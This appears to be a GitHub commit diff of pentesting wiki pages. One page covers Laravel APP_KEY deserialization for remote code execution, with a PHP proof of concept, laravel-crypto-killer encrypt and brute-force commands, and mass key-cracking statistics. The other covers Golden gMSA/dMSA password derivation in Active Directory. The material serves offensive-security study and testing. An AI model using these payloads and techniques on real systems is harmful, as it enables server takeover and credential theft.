You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Laravel uses AES-256-CBC (or GCM) with HMAC integrity under the hood (`Illuminate\\Encryption\\Encrypter`).
204
-
The raw ciphertext that is finally **sent to the client** is **Base64 of a JSON object** like:
205
-
206
-
```json
207
-
{
208
-
"iv" : "Base64(random 16-byte IV)",
209
-
"value": "Base64(ciphertext)",
210
-
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
211
-
"tag" : ""// only used for AEAD ciphers (GCM)
212
-
}
213
-
```
214
-
215
-
`encrypt($value, $serialize=true)` will `serialize()` the plaintext by default, whereas
216
-
`decrypt($payload, $unserialize=true)`**will automatically `unserialize()`** the decrypted value.
217
-
Therefore **any attacker that knows the 32-byte secret `APP_KEY` can craft an encrypted PHP serialized object and gain RCE via magic methods (`__wakeup`, `__destruct`, …)**.
218
-
219
-
Minimal PoC (framework ≥9.x):
220
-
```php
221
-
use Illuminate\Support\Facades\Crypt;
222
-
223
-
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
224
-
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
225
-
```
226
-
Inject the produced string into any vulnerable `decrypt()` sink (route param, cookie, session, …).
227
-
228
-
---
229
-
230
-
## laravel-crypto-killer 🧨
231
-
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automates the whole process and adds a convenient **bruteforce** mode:
232
-
233
-
```bash
234
-
# Encrypt a phpggc chain with a known APP_KEY
235
-
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
4. Deliver payload through the vulnerable parameter/cookie → **RCE**
261
-
262
-
---
263
-
264
-
## Mass APP_KEY discovery via cookie brute-force
265
-
266
-
Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline.
267
-
268
-
Key findings of the research published by Synacktiv (2024-2025):
269
-
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
270
-
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
271
-
*>1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
272
-
* Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).
273
180
274
-
The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
Copy file name to clipboardExpand all lines: src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md
+6-6Lines changed: 6 additions & 6 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -10,7 +10,7 @@ There are two major flavours:
10
10
1.**gMSA** – group Managed Service Account – can be used on multiple hosts that are authorised in its `msDS-GroupMSAMembership` attribute.
11
11
2.**dMSA** – delegated Managed Service Account – the (preview) successor to gMSA, relying on the same cryptography but allowing more granular delegation scenarios.
12
12
13
-
For both variants the **password is not stored** on each Domain Controller (DC) like a regular NT-hash. Instead every DC can **derive** the current password on-the-fly from:
13
+
For both variants the **password is not stored** on each Domain Controller (DC) like a regular NT-hash. Instead every DC can **derive** the current password on-the-fly from:
14
14
15
15
* The forest-wide **KDS Root Key** (`KRBTGT\KDS`) – randomly generated GUID-named secret, replicated to every DC under the `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` container.
16
16
* The target account **SID**.
@@ -35,7 +35,7 @@ This is analogous to a *Golden Ticket* for service accounts.
35
35
3. .NET ≥ 4.7.2 x64 workstation to run [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) or equivalent code.
36
36
37
37
### Golden gMSA / dMSA
38
-
#####Phase 1 – Extract the KDS Root Key
38
+
#### Phase 1 – Extract the KDS Root Key
39
39
40
40
Dump from any DC (Volume Shadow Copy / raw SAM+SECURITY hives or remote secrets):
41
41
@@ -60,7 +60,7 @@ The base64 string labelled `RootKey` (GUID name) is required in later steps.
60
60
61
61
Retrieve at least `sAMAccountName`, `objectSid` and `msDS-ManagedPasswordId`:
The tool computes candidate passwords and compares their base64 blob against the real `msDS-ManagedPassword` attribute – the match reveals the correct GUID.
@@ -97,7 +97,7 @@ The tool computes candidate passwords and compares their base64 blob against the
97
97
98
98
Once the ManagedPasswordID is known, the valid password is one command away:
0 commit comments